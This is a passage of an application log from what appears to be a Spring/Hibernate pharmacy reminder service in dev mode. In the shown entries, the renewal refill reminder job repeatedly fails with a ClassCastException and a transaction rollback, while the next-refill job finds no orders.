org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 05:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 05:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 05:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 05:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 05:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 05:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 05:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 05:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 05:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 05:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 05:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 05:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 05:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 05:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 05:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 05:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 05:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 05:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 05:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 05:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 05:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 05:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 05:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 05:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 05:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 05:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 05:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 05:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 05:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 05:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 05:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 05:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void 